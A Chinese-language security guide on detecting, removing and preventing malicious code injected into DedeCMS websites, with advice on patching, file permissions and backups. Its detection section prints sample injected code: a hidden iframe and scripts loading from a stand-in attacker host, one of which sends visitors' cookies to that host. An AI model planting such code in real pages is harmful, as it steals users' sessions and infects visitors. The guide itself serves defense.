“挂马”是指黑客在网站的服务器或网页文件中植入恶意代码,当用户访问该网站时,这些恶意代码会自动下载并执行病毒、木马或勒索软件,从而盗取用户信息、控制用户电脑或进行其他非法活动。

(图片来源网络,侵删)
DedeCMS(织梦内容管理系统)由于其早期版本存在一些已知的安全漏洞,且使用者众多、技术水平参差不齐,因此成为了黑客攻击的重灾区,下面我将从挂马原因、症状排查、清除方法、预防措施四个方面进行详细说明。
为什么DedeCMS网站容易挂马?
挂马的根本原因在于网站的安全漏洞被黑客利用,对于DedeCMS网站,常见的原因有以下几种:
-
程序本身漏洞:
- 已知漏洞未修复:DedeCMS的某些旧版本(如DedeCMS 5.7及更早版本)存在多个公开的SQL注入、文件上传、后台命令执行等高危漏洞,如果用户没有及时升级到安全版本或打上官方补丁,就极易被黑客利用。
- 后台弱口令:这是最常见的原因之一,黑客通过暴力破解或字典攻击,轻易猜中管理员后台的用户名和密码(如
admin/admin888),然后直接登录后台植入木马。
-
服务器/虚拟主机环境不安全:
- 共享主机权限过高:如果使用的是廉价的共享虚拟主机,多个网站共享同一个服务器环境和用户权限,一旦该服务器上的其他网站被攻破,黑客就可能利用服务器漏洞来攻击你的网站。
- 服务器软件漏洞:服务器的PHP、MySQL、Apache/Nginx等软件版本过旧,存在漏洞,被黑客通过服务器权限入侵。
- FTP密码泄露:FTP账号密码过于简单,或在其他不安全的电脑上使用后被盗取,导致网站目录被直接上传木马文件。
-
用户安全意识薄弱:
- 使用破解/盗版模板:很多破解的DedeCMS模板被黑客预先植入了后门,下载使用就等于直接开门揖盗。
- 安装来源不明的插件:从非官方或不可信的渠道下载安装插件,这些插件可能被植入恶意代码。
- 后台文件权限设置不当:将
data、templets等目录的权限设置为777(最高权限),这给了黑客任意修改、上传文件的便利。
如何判断网站是否被挂马?
挂马的恶意代码通常会被隐藏起来,但细心观察还是能发现端倪。
-
网站首页被篡改:
打开网站首页,发现内容被替换成黑客的页面,如“本站已被攻破”、“Hacked by XXX”等字样,或者被跳转到一些博彩、色情网站。
-
网站访问异常:
- 部分用户(特别是使用搜索引擎的用户)访问网站时,浏览器会弹出安全警告,提示“该网站包含恶意代码,建议不要访问”。
- 网站打开速度突然变慢,或者页面加载一些不相关的、可疑的JS文件或图片。
-
源代码检查(最直接的方法):
- 在浏览器中打开网站,右键选择“查看网页源代码”。
- 重点检查以下位置:
<head>标签内:在</head>标签前,是否被插入了<iframe>、<script>等标签,这些标签的src属性通常指向一个外部域名,这个域名就是黑客的服务器。<body>标签末尾:在</body>标签前,是否被插入了可疑的JS代码或<iframe>。
- 示例恶意代码:
<!-- 可能在<head>或<body>末尾发现类似这样的代码 --> <iframe src="http://hacker-site.com/malicious.html" width="0" height="0" style="display:none;"></iframe> <script src="http://hacker-site.com/bad.js"></script> <script>document.write('<iframe src="http://hacker-site.com/steal-cookie.php?cookie='+document.cookie+'"></iframe>');</script>
-
通过搜索引擎查询:
- 在百度、谷歌等搜索引擎中搜索
site:你的域名,查看搜索结果下方是否有“该网站可能存在安全风险”的红色警告标识。
- 在百度、谷歌等搜索引擎中搜索
-
使用在线安全检测工具:
- 访问如 VirusTotal (https://www.virustotal.com/) 等网站,输入你的域名,让多家安全厂商进行扫描,可以快速发现被挂马的迹象。
如何清除挂马代码并修复网站?
清除挂马是一个系统性的工作,必须彻底,否则会反复感染。
核心原则:先断网,再分析,后修复,最后加固。
第1步:紧急处理(隔离网站)
- 立即修改所有密码:
- FTP密码:立即修改。
- 网站后台管理员密码:立即修改,使用复杂密码(大小写字母+数字+符号)。
- 数据库密码:如果可能,立即修改。
- 服务器/虚拟主机控制面板密码:立即修改。
- 暂时关闭网站:在找到并修复所有漏洞之前,暂时将网站关闭(通过修改域名解析到一个临时页面或404页面),防止更多用户受害,也防止黑客进一步操作。
第2步:查找并清除恶意代码
-
全站搜索恶意代码:
- 使用FTP工具连接到你的网站空间。
- 重点检查以下目录和文件:
index.php(首页)default.php(首页)include目录下的文件,特别是common.inc.php等核心配置文件。templets目录下的模板文件(.htm)。data目录下的所有文件,这里是黑客最喜欢藏身的地方。- 所有上传目录:如
uploads/、special/等,检查是否有非正常上传的文件(如.php、.jsp文件)。
- 使用“查找替换”功能:很多FTP客户端(如 FileZilla)和代码编辑器(如 VS Code, Sublime Text)都有“在目录中查找”的功能,搜索你在源代码里看到的恶意代码片段(如
hacker-site.com),可以快速定位到被感染的文件。
-
清除恶意代码:
- 对于被修改的文件:如果文件只是被添加了几行恶意代码,且你的网站有备份,最好的方法是从干净的备份中恢复该文件,如果没有备份,手动删除恶意代码。
- 对于被植入的后门文件:直接删除,不要试图去修复它,这些文件本身就是危险的。
- 对于被修改的数据库:如果黑客通过SQL注入修改了数据库内容(如在文章内容中插入链接),你需要登录phpMyAdmin等数据库管理工具,找到对应的表,手动删除恶意数据。
第3步:修复漏洞(防止再次挂马)
这是最关键的一步,不清除漏洞,清除工作就是徒劳。
-
升级DedeCMS程序:
- 访问DedeCMS官网,下载最新稳定版。
- 注意: 不要直接覆盖安装!备份好你的
/data目录(里面存有你网站的核心配置和会员数据)和/templets目录(你的模板文件)。 - 删除网站根目录下除
/data、/templets、/uploads(你的上传目录)之外的所有文件和文件夹。 - 将新下载的程序包里的文件上传到网站根目录。
- 修改
/data目录下的config.cache.bak.php为config.inc.php,并填入你的数据库信息。 - 访问网站,完成必要的升级步骤。
-
检查并修改文件权限:
- 使用FTP工具,将以下目录的权限设置为 755:
/data/templets/uploads/include
- 将以下文件的权限设置为 644:
- 所有
.php文件 - 所有
.html文件 data目录下的配置文件
- 所有
- 重要: 绝对不要将任何目录权限设置为777!这是巨大的安全隐患。
- 使用FTP工具,将以下目录的权限设置为 755:
-
加固后台目录:
- 重命名你的后台管理目录,默认是
/dede,你可以改成/myadmin或其他任何名字,增加黑客猜解的难度。 - 修改后台目录下的
config.php文件,找到$cfg_adminfolder = 'dede';,将其改为你的新目录名。
- 重命名你的后台管理目录,默认是
-
检查服务器环境:
- 联系你的虚拟主机商或服务器管理员,确认服务器环境是否安全,是否有其他网站被入侵。
- 关闭服务器上不必要的服务和端口。
长期预防措施
- 保持更新:关注DedeCMS官方动态,及时升级程序和打补丁。
- 使用强密码:为所有账户(FTP、后台、数据库)设置足够复杂的密码,并定期更换。
- 谨慎使用第三方资源:绝不使用破解的模板或来源不明的插件,如需使用,务必先进行安全扫描。
- 定期备份:养成定期备份网站程序和数据库的习惯,建议将备份文件下载到本地,并存储在安全的地方,一旦出问题,可以快速恢复。
- 设置安全文件:在网站根目录下创建一个名为
robots.txt的文件,内容为User-agent: * Disallow: /data/,防止搜索引擎抓取敏感的data目录。 - 使用Web应用防火墙(WAF):如果条件允许,为网站部署WAF(如云WAF:阿里云、腾讯云、Cloudflare等),可以有效拦截大部分SQL注入、XSS等常见攻击。
- 监控文件变化:可以安装一些文件监控插件或脚本,一旦网站核心文件被修改,就能立即收到通知。
DedeCMS网站挂马是一个严重的安全问题,解决它需要耐心和细致的工作,从清除到修复再到预防,每一步都不能少,对于不熟悉技术的站长,如果问题严重,建议寻求专业的网络安全公司或技术人员的帮助。
